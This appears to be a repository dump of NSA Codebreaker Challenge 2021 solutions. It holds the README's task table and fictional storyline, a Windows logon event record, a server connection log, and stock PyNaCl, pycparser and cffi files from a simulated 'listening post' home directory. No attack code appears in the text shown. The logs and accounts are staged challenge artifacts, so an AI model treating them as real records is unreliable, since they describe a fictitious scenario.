| "ExecutableInfo": "-", 8 | "MapDescription": "Successful logon", 9 | "ChunkNumber": 0, 10 | "Computer": "OOPS-DC.oops.net", 11 | "Payload": "{\"EventData\": {\"Data\": [{\"@Name\": \"SubjectUserSid\", \"#text\": \"S-1-0-0\"}, {\"@Name\": \"SubjectUserName\", \"#text\": \"-\"}, {\"@Name\": \"SubjectDomainName\", \"#text\": \"-\"}, {\"@Name\": \"SubjectLogonId\", \"#text\": \"0x0\"}, {\"@Name\": \"TargetUserSid\", \"#text\": \"S-1-5-21-3003753-709489717-5076134339-1232\"}, {\"@Name\": \"TargetUserName\", \"#text\": \"binder.debbra\"}, {\"@Name\": \"TargetDomainName\", \"#text\": \"OOPS.NET\"}, {\"@Name\": \"TargetLogonId\", \"#text\": \"0X2CA22A\"}, {\"@Name\": \"LogonType\", \"#text\": \"3\"}, {\"@Name\": \"LogonProcessName\", \"#text\": \"Kerberos\"}, {\"@Name\": \"AuthenticationPackageName\", \"#text\": \"Kerberos\"}, {\"@Name\": \"WorkstationName\", \"#text\": \"-\"}, {\"@Name\": \"LogonGuid\", \"#text\": \"ac1d7f42-3bfc-47c0-b1f7-8fa11587a89d\"}, {\"@Name\": \"TransmittedServices\", \"#text\": \"-\"}, {\"@Name\": \"LmPackageName\", \"#text\": \"-\"}, {\"@Name\": \"KeyLength\", \"#text\": \"0\"}, {\"@Name\": \"ProcessId\", \"#text\": \"0x0\"}, {\"@Name\": \"ProcessName\", \"#text\": \"-\"}, {\"@Name\": \"IpAddress\", \"#text\": \"10.19.212.179\"}, {\"@Name\": \"IpPort\", \"#text\": \"43866\"}, {\"@Name\": \"ImpersonationLevel\", \"#text\": \"%%1833\"}, {\"@Name\": \"RestrictedAdminMode\", \"#text\": \"-\"}, {\"@Name\": \"TargetOutboundUserName\", \"#text\": \"-\"}, {\"@Name\": \"TargetOutboundDomainName\", \"#text\": \"-\"}, {\"@Name\": \"VirtualAccount\", \"#text\": \"%%1843\"}, {\"@Name\": \"TargetLinkedLogonId\", \"#text\": \"0x0\"}, {\"@Name\": \"ElevatedToken\", \"#text\": \"%%1842\"}]}}", 12 | "Channel": "Security", 13 | "Provider": "Microsoft-Windows-Security-Auditing", 14 | "EventId": 4624, 15 | "EventRecordId": "6332", 16 | "ProcessId": 601, 17 | "ThreadId": 3220, 18 | "Level": "LogAlways", 19 | "Keywords": "Audit success", 20 | "SourceFile": "C:\\Windows\\system32\\winevt\\Logs\\Security.evtx", 21 | "ExtraDataOffset": 0, 22 | "HiddenRecord": false, 23 | "TimeCreated": "2021-03-16T12:07:43.3545300+00:00", 24 | "RecordNumber": "6332" 25 | } 26 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/exceptions.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | 18 | class CryptoError(Exception): 19 | """ 20 | Base exception for all nacl related errors 21 | """ 22 | 23 | 24 | class BadSignatureError(CryptoError): 25 | """ 26 | Raised when the signature was forged or otherwise corrupt. 27 | """ 28 | 29 | 30 | class RuntimeError(RuntimeError, CryptoError): 31 | pass 32 | 33 | 34 | class AssertionError(AssertionError, CryptoError): 35 | pass 36 | 37 | 38 | class TypeError(TypeError, CryptoError): 39 | pass 40 | 41 | 42 | class ValueError(ValueError, CryptoError): 43 | pass 44 | 45 | 46 | class InvalidkeyError(CryptoError): 47 | pass 48 | 49 | 50 | class CryptPrefixError(InvalidkeyError): 51 | pass 52 | 53 | 54 | class UnavailableError(RuntimeError): 55 | """ 56 | is a subclass of :class:`~nacl.exceptions.RuntimeError`, raised when 57 | trying to call functions not available in a minimal build of 58 | libsodium. 59 | """ 60 | pass 61 | 62 | 63 | def ensure(cond, *args, **kwds): 64 | """ 65 | Return if a condition is true, otherwise raise a caller-configurable 66 | :py:class:`Exception` 67 | :param bool cond: the condition to be checked 68 | :param sequence args: the arguments to be passed to the exception's 69 | constructor 70 | The only accepted named parameter is `raising` used to configure the 71 | exception to be raised if `cond` is not `True` 72 | """ 73 | _CHK_UNEXP = 'check_condition() got an unexpected keyword argument {0}' 74 | 75 | raising = kwds.pop('raising', AssertionError) 76 | if kwds: 77 | raise TypeError(_CHK_UNEXP.format(repr(kwds.popitem()[0]))) 78 | 79 | if cond is True: 80 | return 81 | raise raising(*args) 82 | -------------------------------------------------------------------------------- /task10/home/psuser/ps_server.log: -------------------------------------------------------------------------------- 1 | Child 8964 handling connection from 192.0.2.246:38473 2 | Child 8964 exited with status 0 3 | Child 9100 handling connection from 192.0.2.11:35724 4 | Child 9100 exited with status 0 5 | Child 9266 handling connection from 192.0.2.180:36351 6 | Child 9266 exited with status 0 7 | Child 9408 handling connection from 192.0.2.79:34272 8 | Child 9408 exited with status 0 9 | Child 9514 handling connection from 192.0.2.37:33044 10 | Child 9514 exited with status 0 11 | Child 9672 handling connection from 192.0.2.175:34208 12 | Child 9672 exited with status 0 13 | Child 9790 handling connection from 192.0.2.61:31598 14 | Child 9790 exited with status 0 15 | Child 9989 handling connection from 192.0.2.236:30770 16 | Child 9989 exited with status 0 17 | Child 10094 handling connection from 192.0.2.212:36051 18 | Child 10094 exited with status 0 19 | Child 10275 handling connection from 192.0.2.7:39984 20 | Child 10275 exited with status 0 21 | Child 10381 handling connection from 192.0.2.75:37800 22 | Child 10381 exited with status 0 23 | Child 10489 handling connection from 192.0.2.6:36181 24 | Child 10489 exited with status 0 25 | Child 10605 handling connection from 192.0.2.4:34545 26 | Child 10605 exited with status 0 27 | Child 10729 handling connection from 192.0.2.159:39804 28 | Child 10729 exited with status 0 29 | Child 10895 handling connection from 192.0.2.132:34034 30 | Child 10895 exited with status 0 31 | Child 11035 handling connection from 192.0.2.134:33674 32 | Child 11035 exited with status 0 33 | Child 11227 handling connection from 192.0.2.252:32063 34 | Child 11227 exited with status 0 35 | Child 11390 handling connection from 192.0.2.184:36726 36 | Child 11390 exited with status 0 37 | Child 11547 handling connection from 192.0.2.98:35133 38 | Child 11547 exited with status 0 39 | Child 11735 handling connection from 192.0.2.99:37510 40 | Child 11735 exited with status 0 41 | Child 11898 handling connection from 192.0.2.245:38989 42 | Child 11898 exited with status 0 43 | Child 12057 handling connection from 192.0.2.192:34969 44 | Child 12057 exited with status 0 45 | Child 12246 handling connection from 192.0.2.160:39754 46 | Child 12246 exited with status 0 47 | Child 12427 handling connection from 192.0.2.58:34106 48 | Child 12427 exited with status 0 49 | Child 12588 handling connection from 192.0.2.1:37785 50 | Child 12588 exited with status 0 51 | Child 12753 handling connection from 192.0.2.253:31963 52 | Child 12753 exited with status 0 53 | Child 12877 handling connection from 192.0.2.198:30195 54 | Child 12877 exited with status 0 55 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | import os 18 | 19 | import six 20 | 21 | import nacl.bindings 22 | from nacl import encoding 23 | 24 | 25 | class EncryptedMessage(bytes): 26 | """ 27 | A bytes subclass that holds a messaged that has been encrypted by a 28 | :class:`SecretBox`. 29 | """ 30 | 31 | @classmethod 32 | def _from_parts(cls, nonce, ciphertext, combined): 33 | obj = cls(combined) 34 | obj._nonce = nonce 35 | obj._ciphertext = ciphertext 36 | return obj 37 | 38 | @property 39 | def nonce(self): 40 | """ 41 | The nonce used during the encryption of the :class:`EncryptedMessage`. 42 | """ 43 | return self._nonce 44 | 45 | @property 46 | def ciphertext(self): 47 | """ 48 | The ciphertext contained within the :class:`EncryptedMessage`. 49 | """ 50 | return self._ciphertext 51 | 52 | 53 | class StringFixer(object): 54 | 55 | def __str__(self): 56 | if six.PY3: 57 | return str(self.__bytes__()) 58 | else: 59 | return self.__bytes__() 60 | 61 | 62 | def bytes_as_string(bytes_in): 63 | if six.PY3: 64 | return bytes_in.decode('ascii') 65 | else: 66 | return bytes_in 67 | 68 | 69 | def random(size=32): 70 | return os.urandom(size) 71 | 72 | 73 | def randombytes_deterministic(size, seed, encoder=encoding.RawEncoder): 74 | """ 75 | Returns ``size`` number of deterministically generated pseudorandom bytes 76 | from a seed 77 | 78 | :param size: int 79 | :param seed: bytes 80 | :param encoder: The encoder class used to encode the produced bytes 81 | :rtype: bytes 82 | """ 83 | raw_data = nacl.bindings.randombytes_buf_deterministic(size, seed) 84 | 85 | return encoder.encode(raw_data) 86 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/crypto_hash.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | from nacl import exceptions as exc 18 | from nacl._sodium import ffi, lib 19 | from nacl.exceptions import ensure 20 | 21 | 22 | # crypto_hash_BYTES = lib.crypto_hash_bytes() 23 | crypto_hash_BYTES = lib.crypto_hash_sha512_bytes() 24 | crypto_hash_sha256_BYTES = lib.crypto_hash_sha256_bytes() 25 | crypto_hash_sha512_BYTES = lib.crypto_hash_sha512_bytes() 26 | 27 | 28 | def crypto_hash(message): 29 | """ 30 | Hashes and returns the message ``message``. 31 | 32 | :param message: bytes 33 | :rtype: bytes 34 | """ 35 | digest = ffi.new("unsigned char[]", crypto_hash_BYTES) 36 | rc = lib.crypto_hash(digest, message, len(message)) 37 | ensure(rc == 0, 38 | 'Unexpected library error', 39 | raising=exc.RuntimeError) 40 | return ffi.buffer(digest, crypto_hash_BYTES)[:] 41 | 42 | 43 | def crypto_hash_sha256(message): 44 | """ 45 | Hashes and returns the message ``message``. 46 | 47 | :param message: bytes 48 | :rtype: bytes 49 | """ 50 | digest = ffi.new("unsigned char[]", crypto_hash_sha256_BYTES) 51 | rc = lib.crypto_hash_sha256(digest, message, len(message)) 52 | ensure(rc == 0, 53 | 'Unexpected library error', 54 | raising=exc.RuntimeError) 55 | return ffi.buffer(digest, crypto_hash_sha256_BYTES)[:] 56 | 57 | 58 | def crypto_hash_sha512(message): 59 | """ 60 | Hashes and returns the message ``message``. 61 | 62 | :param message: bytes 63 | :rtype: bytes 64 | """ 65 | digest = ffi.new("unsigned char[]", crypto_hash_sha512_BYTES) 66 | rc = lib.crypto_hash_sha512(digest, message, len(message)) 67 | ensure(rc == 0, 68 | 'Unexpected library error', 69 | raising=exc.RuntimeError) 70 | return ffi.buffer(digest, crypto_hash_sha512_BYTES)[:] 71 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/ply/ygen.py: -------------------------------------------------------------------------------- 1 | # ply: ygen.py 2 | # 3 | # This is a support program that auto-generates different versions of the YACC parsing 4 | # function with different features removed for the purposes of performance. 5 | # 6 | # Users should edit the method LParser.parsedebug() in yacc.py. The source code 7 | # for that method is then used to create the other methods. See the comments in 8 | # yacc.py for further details. 9 | 10 | import os.path 11 | import shutil 12 | 13 | def get_source_range(lines, tag): 14 | srclines = enumerate(lines) 15 | start_tag = '#--! %s-start' % tag 16 | end_tag = '#--! %s-end' % tag 17 | 18 | for start_index, line in srclines: 19 | if line.strip().startswith(start_tag): 20 | break 21 | 22 | for end_index, line in srclines: 23 | if line.strip().endswith(end_tag): 24 | break 25 | 26 | return (start_index + 1, end_index) 27 | 28 | def filter_section(lines, tag): 29 | filtered_lines = [] 30 | include = True 31 | tag_text = '#--! %s' % tag 32 | for line in lines: 33 | if line.strip().startswith(tag_text): 34 | include = not include 35 | elif include: 36 | filtered_lines.append(line) 37 | return filtered_lines 38 | 39 | def main(): 40 | dirname = os.path.dirname(__file__) 41 | shutil.copy2(os.path.join(dirname, 'yacc.py'), os.path.join(dirname, 'yacc.py.bak')) 42 | with open(os.path.join(dirname, 'yacc.py'), 'r') as f: 43 | lines = f.readlines() 44 | 45 | parse_start, parse_end = get_source_range(lines, 'parsedebug') 46 | parseopt_start, parseopt_end = get_source_range(lines, 'parseopt') 47 | parseopt_notrack_start, parseopt_notrack_end = get_source_range(lines, 'parseopt-notrack') 48 | 49 | # Get the original source 50 | orig_lines = lines[parse_start:parse_end] 51 | 52 | # Filter the DEBUG sections out 53 | parseopt_lines = filter_section(orig_lines, 'DEBUG') 54 | 55 | # Filter the TRACKING sections out 56 | parseopt_notrack_lines = filter_section(parseopt_lines, 'TRACKING') 57 | 58 | # Replace the parser source sections with updated versions 59 | lines[parseopt_notrack_start:parseopt_notrack_end] = parseopt_notrack_lines 60 | lines[parseopt_start:parseopt_end] = parseopt_lines 61 | 62 | lines = [line.rstrip()+'\n' for line in lines] 63 | with open(os.path.join(dirname, 'yacc.py'), 'w') as f: 64 | f.writelines(lines) 65 | 66 | print('Updated yacc.py') 67 | 68 | if __name__ == '__main__': 69 | main() 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![NSA Codebreaker Challenge 2021 Solutions](img/animated_thumbnail.gif) 4 | 5 | Please use the [Discussions](https://github.com/luker983/nsa-codebreaker-2021/discussions) page for questions and comments or reach out on Discord! 6 |
7 | 8 | 9 | ## Write-Ups 10 | 11 |
12 | 13 | | Task | Categories | Points | 14 | |:-----:|:----------:|:------:| 15 | | [0](task0/) | Community of Practice, Discord Server | 1 | 16 | | [1](task1/) | Network Forensics, Command Line | 25 | 17 | | [2](task2/) | Log Analysis | 50 | 18 | | [3](task3/) | Email Analysis | 150 | 19 | | [4](task4/) | PowerShell, Registry Analysis | 150 | 20 | | [5](task5/) | Docker Analysis | 300 | 21 | | [6](task6/) | Reverse Engineering | 500 | 22 | 23 | ### Solo Challenges 24 | 25 | | Task | Categories | Points | 26 | |:-----:|:----------:|:------:| 27 | | [7](task7/) | Protocol Analysis | 500 | 28 | | [8](task8/) | Cryptanalysis | 3000 | 29 | | [9](task9/) | Protocol Analysis, Software Development | 3500 | 30 | | [10](task10/) | Protocol Analysis, Software Development, Exploit Development | 5000 | 31 | 32 |
33 | 34 | ## Overview 35 | 36 | > The 2021 Codebreaker Challenge consists of a series of tasks that are worth a varying amount of points based upon their difficulty. Schools will be ranked according to the total number of points accumulated by their students. Solutions may be submitted at any time for the duration of the Challenge. 37 | > 38 | > While not required, we recommend that you solve tasks in order, since they flow with the storyline. Later tasks may rely on artifacts / inputs from earlier tasks. 39 | > 40 | > Each task in this year's challenge will require a range of skills. We need you to call upon all of your technical expertise, your intuition, and your common sense. 41 | > 42 | > Good luck. We hope you enjoy the challenge! 43 | 44 | ## Background 45 | 46 | > *DISCLAIMER - The following is a FICTITIOUS story meant for providing realistic context for the Codebreaker Challenge and is not tied in any way to actual events.* 47 | > 48 | > --- 49 | > 50 | > The Internet is home to many different cyber actors. To better prepare for and defend against these actors, NSA routinely investigates foreign cyber actors and their activities. During one such investigation, a new IP address was identified to be part of an unknown actor's infrastructure. NSA believes it is a [listening post](https://wiki.cbc.cybersecurity.nmt.edu/doku.php?id=listeningpost) (LP). 51 | > 52 | > --- 53 | > 54 | > Note: All IP addresses have been anonymized. 55 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/crypto_shorthash.py: -------------------------------------------------------------------------------- 1 | # Copyright 2016 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | import nacl.exceptions as exc 18 | from nacl._sodium import ffi, lib 19 | from nacl.exceptions import ensure 20 | 21 | 22 | has_crypto_shorthash_siphashx24 = \ 23 | bool(lib.PYNACL_HAS_CRYPTO_SHORTHASH_SIPHASHX24) 24 | 25 | BYTES = lib.crypto_shorthash_siphash24_bytes() 26 | KEYBYTES = lib.crypto_shorthash_siphash24_keybytes() 27 | 28 | XBYTES = 0 29 | XKEYBYTES = 0 30 | 31 | if has_crypto_shorthash_siphashx24: 32 | XBYTES = lib.crypto_shorthash_siphashx24_bytes() 33 | XKEYBYTES = lib.crypto_shorthash_siphashx24_keybytes() 34 | 35 | 36 | def crypto_shorthash_siphash24(data, key): 37 | """Compute a fast, cryptographic quality, keyed hash of the input data 38 | 39 | :param data: 40 | :type data: bytes 41 | :param key: len(key) must be equal to 42 | :py:data:`.KEYBYTES` (16) 43 | :type key: bytes 44 | """ 45 | if len(key) != KEYBYTES: 46 | raise exc.ValueError( 47 | "Key length must be exactly {0} bytes".format(KEYBYTES)) 48 | digest = ffi.new("unsigned char[]", BYTES) 49 | rc = lib.crypto_shorthash_siphash24(digest, data, len(data), key) 50 | 51 | ensure(rc == 0, raising=exc.RuntimeError) 52 | return ffi.buffer(digest, BYTES)[:] 53 | 54 | 55 | def crypto_shorthash_siphashx24(data, key): 56 | """Compute a fast, cryptographic quality, keyed hash of the input data 57 | 58 | :param data: 59 | :type data: bytes 60 | :param key: len(key) must be equal to 61 | :py:data:`.XKEYBYTES` (16) 62 | :type key: bytes 63 | :raises nacl.exceptions.UnavailableError: If called when using a 64 | minimal build of libsodium. 65 | """ 66 | ensure(has_crypto_shorthash_siphashx24, 67 | 'Not available in minimal build', 68 | raising=exc.UnavailableError) 69 | 70 | if len(key) != XKEYBYTES: 71 | raise exc.ValueError( 72 | "Key length must be exactly {0} bytes".format(XKEYBYTES)) 73 | digest = ffi.new("unsigned char[]", XBYTES) 74 | rc = lib.crypto_shorthash_siphashx24(digest, data, len(data), key) 75 | 76 | ensure(rc == 0, raising=exc.RuntimeError) 77 | return ffi.buffer(digest, XBYTES)[:] 78 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/RECORD: -------------------------------------------------------------------------------- 1 | pycparser/__init__.py,sha256=O2ajDXgU2_NI52hUFV8WeAjCR5L-sclmaXerpcxqgPo,2815 2 | pycparser/_ast_gen.py,sha256=_LbRr_kKa2EHeb7y0gV525JV29nzCUbTH4oZ-9I4qIs,10607 3 | pycparser/_build_tables.py,sha256=oZCd3Plhq-vkV-QuEsaahcf-jUI6-HgKsrAL9gvFzuU,1039 4 | pycparser/_c_ast.cfg,sha256=1W8-DHa5RqZvyhha_0b4VvKL0CEYv9W0xFs_YwiyEHY,4206 5 | pycparser/ast_transforms.py,sha256=93ENKENTlugzFehnrQ0fdprijVdNt_ACCPygMxH4v7Q,3648 6 | pycparser/c_ast.py,sha256=JdDyC3QUZBfX9wVu2ENOrQQPbc737Jmf8Vtozhukayo,30233 7 | pycparser/c_generator.py,sha256=AwzNyE_rOFK2gzK0J5pCWDqfk7V8KL54ITFRf9m4GlY,15365 8 | pycparser/c_lexer.py,sha256=GWPUkwFe6F00gTAKIPAx4xs8-J-at_oGwEHnrKF4teM,16208 9 | pycparser/c_parser.py,sha256=w74N4tFGQ3TETIqUwClZIcbl-V4hFeJSPG2halVgUVs,69746 10 | pycparser/lextab.py,sha256=FyjRIsaq2wViDqJNYScURuc7GDW5F12VuYxOJLh1j4g,7011 11 | pycparser/plyparser.py,sha256=saGNjpsgncQz-hHEh45f28BLqopTxHffaJg_9BCZhi8,4873 12 | pycparser/yacctab.py,sha256=KOewsHNgbSYaYrLvDJr7K3jXj-7qou0ngyNEnhDmyB4,169715 13 | pycparser/ply/__init__.py,sha256=q4s86QwRsYRa20L9ueSxfh-hPihpftBjDOvYa2_SS2Y,102 14 | pycparser/ply/cpp.py,sha256=UtC3ylTWp5_1MKA-PLCuwKQR8zSOnlGuGGIdzj8xS98,33282 15 | pycparser/ply/ctokens.py,sha256=MKksnN40TehPhgVfxCJhjj_BjL943apreABKYz-bl0Y,3177 16 | pycparser/ply/lex.py,sha256=7Qol57x702HZwjA3ZLp-84CUEWq1EehW-N67Wzghi-M,42918 17 | pycparser/ply/yacc.py,sha256=eatSDkRLgRr6X3-hoDk_SQQv065R0BdL2K7fQ54CgVM,137323 18 | pycparser/ply/ygen.py,sha256=2JYNeYtrPz1JzLSLO3d4GsS8zJU8jY_I_CR1VI9gWrA,2251 19 | pycparser-2.20.dist-info/LICENSE,sha256=PHZimICuwvhXjtkUcBpP-eXai2CsuLfsZ1q_g8kMUWg,1536 20 | pycparser-2.20.dist-info/METADATA,sha256=5_RDLTEfmg8dh29oc053jTNp_OL82PllsggkGQTU_Ds,907 21 | pycparser-2.20.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110 22 | pycparser-2.20.dist-info/top_level.txt,sha256=c-lPcS74L_8KoH7IE6PQF5ofyirRQNV4VhkbSFIPeWM,10 23 | pycparser-2.20.dist-info/RECORD,, 24 | pycparser-2.20.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 25 | pycparser/__pycache__/c_lexer.cpython-36.pyc,, 26 | pycparser/__pycache__/c_ast.cpython-36.pyc,, 27 | pycparser/__pycache__/_build_tables.cpython-36.pyc,, 28 | pycparser/__pycache__/c_parser.cpython-36.pyc,, 29 | pycparser/__pycache__/ast_transforms.cpython-36.pyc,, 30 | pycparser/__pycache__/_ast_gen.cpython-36.pyc,, 31 | pycparser/__pycache__/plyparser.cpython-36.pyc,, 32 | pycparser/__pycache__/__init__.cpython-36.pyc,, 33 | pycparser/__pycache__/c_generator.cpython-36.pyc,, 34 | pycparser/__pycache__/lextab.cpython-36.pyc,, 35 | pycparser/__pycache__/yacctab.cpython-36.pyc,, 36 | pycparser/ply/__pycache__/cpp.cpython-36.pyc,, 37 | pycparser/ply/__pycache__/ctokens.cpython-36.pyc,, 38 | pycparser/ply/__pycache__/__init__.cpython-36.pyc,, 39 | pycparser/ply/__pycache__/yacc.cpython-36.pyc,, 40 | pycparser/ply/__pycache__/lex.cpython-36.pyc,, 41 | pycparser/ply/__pycache__/ygen.cpython-36.pyc,, 42 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/commontypes.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from . import model 3 | from .error import FFIError 4 | 5 | 6 | COMMON_TYPES = {} 7 | 8 | try: 9 | # fetch "bool" and all simple Windows types 10 | from _cffi_backend import _get_common_types 11 | _get_common_types(COMMON_TYPES) 12 | except ImportError: 13 | pass 14 | 15 | COMMON_TYPES['FILE'] = model.unknown_type('FILE', '_IO_FILE') 16 | COMMON_TYPES['bool'] = '_Bool' # in case we got ImportError above 17 | 18 | for _type in model.PrimitiveType.ALL_PRIMITIVE_TYPES: 19 | if _type.endswith('_t'): 20 | COMMON_TYPES[_type] = _type 21 | del _type 22 | 23 | _CACHE = {} 24 | 25 | def resolve_common_type(parser, commontype): 26 | try: 27 | return _CACHE[commontype] 28 | except KeyError: 29 | cdecl = COMMON_TYPES.get(commontype, commontype) 30 | if not isinstance(cdecl, str): 31 | result, quals = cdecl, 0 # cdecl is already a BaseType 32 | elif cdecl in model.PrimitiveType.ALL_PRIMITIVE_TYPES: 33 | result, quals = model.PrimitiveType(cdecl), 0 34 | elif cdecl == 'set-unicode-needed': 35 | raise FFIError("The Windows type %r is only available after " 36 | "you call ffi.set_unicode()" % (commontype,)) 37 | else: 38 | if commontype == cdecl: 39 | raise FFIError( 40 | "Unsupported type: %r. Please look at " 41 | "http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations " 42 | "and file an issue if you think this type should really " 43 | "be supported." % (commontype,)) 44 | result, quals = parser.parse_type_and_quals(cdecl) # recursive 45 | 46 | assert isinstance(result, model.BaseTypeByIdentity) 47 | _CACHE[commontype] = result, quals 48 | return result, quals 49 | 50 | 51 | # ____________________________________________________________ 52 | # extra types for Windows (most of them are in commontypes.c) 53 | 54 | 55 | def win_common_types(): 56 | return { 57 | "UNICODE_STRING": model.StructType( 58 | "_UNICODE_STRING", 59 | ["Length", 60 | "MaximumLength", 61 | "Buffer"], 62 | [model.PrimitiveType("unsigned short"), 63 | model.PrimitiveType("unsigned short"), 64 | model.PointerType(model.PrimitiveType("wchar_t"))], 65 | [-1, -1, -1]), 66 | "PUNICODE_STRING": "UNICODE_STRING *", 67 | "PCUNICODE_STRING": "const UNICODE_STRING *", 68 | 69 | "TBYTE": "set-unicode-needed", 70 | "TCHAR": "set-unicode-needed", 71 | "LPCTSTR": "set-unicode-needed", 72 | "PCTSTR": "set-unicode-needed", 73 | "LPTSTR": "set-unicode-needed", 74 | "PTSTR": "set-unicode-needed", 75 | "PTBYTE": "set-unicode-needed", 76 | "PTCHAR": "set-unicode-needed", 77 | } 78 | 79 | if sys.platform == 'win32': 80 | COMMON_TYPES.update(win_common_types()) 81 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/pwhash/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2017 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import 16 | 17 | from nacl.exceptions import CryptPrefixError 18 | 19 | from . import _argon2, argon2i, argon2id, scrypt 20 | 21 | STRPREFIX = argon2id.STRPREFIX 22 | 23 | PWHASH_SIZE = argon2id.PWHASH_SIZE 24 | 25 | assert _argon2.ALG_ARGON2_DEFAULT == _argon2.ALG_ARGON2ID13 26 | # since version 1.0.15 of libsodium 27 | 28 | PASSWD_MIN = argon2id.PASSWD_MIN 29 | PASSWD_MAX = argon2id.PASSWD_MAX 30 | MEMLIMIT_MAX = argon2id.MEMLIMIT_MAX 31 | MEMLIMIT_MIN = argon2id.MEMLIMIT_MIN 32 | OPSLIMIT_MAX = argon2id.OPSLIMIT_MAX 33 | OPSLIMIT_MIN = argon2id.OPSLIMIT_MIN 34 | OPSLIMIT_INTERACTIVE = argon2id.OPSLIMIT_INTERACTIVE 35 | MEMLIMIT_INTERACTIVE = argon2id.MEMLIMIT_INTERACTIVE 36 | OPSLIMIT_MODERATE = argon2id.OPSLIMIT_MODERATE 37 | MEMLIMIT_MODERATE = argon2id.MEMLIMIT_MODERATE 38 | OPSLIMIT_SENSITIVE = argon2id.OPSLIMIT_SENSITIVE 39 | MEMLIMIT_SENSITIVE = argon2id.MEMLIMIT_SENSITIVE 40 | 41 | str = argon2id.str 42 | 43 | assert argon2i.ALG != argon2id.ALG 44 | 45 | SCRYPT_SALTBYTES = scrypt.SALTBYTES 46 | SCRYPT_PWHASH_SIZE = scrypt.PWHASH_SIZE 47 | SCRYPT_OPSLIMIT_INTERACTIVE = scrypt.OPSLIMIT_INTERACTIVE 48 | SCRYPT_MEMLIMIT_INTERACTIVE = scrypt.MEMLIMIT_INTERACTIVE 49 | SCRYPT_OPSLIMIT_SENSITIVE = scrypt.OPSLIMIT_SENSITIVE 50 | SCRYPT_MEMLIMIT_SENSITIVE = scrypt.MEMLIMIT_SENSITIVE 51 | 52 | 53 | kdf_scryptsalsa208sha256 = scrypt.kdf 54 | scryptsalsa208sha256_str = scrypt.str 55 | verify_scryptsalsa208sha256 = scrypt.verify 56 | 57 | 58 | def verify(password_hash, password): 59 | """ 60 | Takes a modular crypt encoded stored password hash derived using one 61 | of the algorithms supported by `libsodium` and checks if the user provided 62 | password will hash to the same string when using the parameters saved 63 | in the stored hash 64 | """ 65 | if password_hash.startswith(argon2id.STRPREFIX): 66 | return argon2id.verify(password_hash, password) 67 | elif password_hash.startswith(argon2i.STRPREFIX): 68 | return argon2id.verify(password_hash, password) 69 | elif scrypt.AVAILABLE and password_hash.startswith(scrypt.STRPREFIX): 70 | return scrypt.verify(password_hash, password) 71 | else: 72 | raise(CryptPrefixError("given password_hash is not " 73 | "in a supported format" 74 | ) 75 | ) 76 | 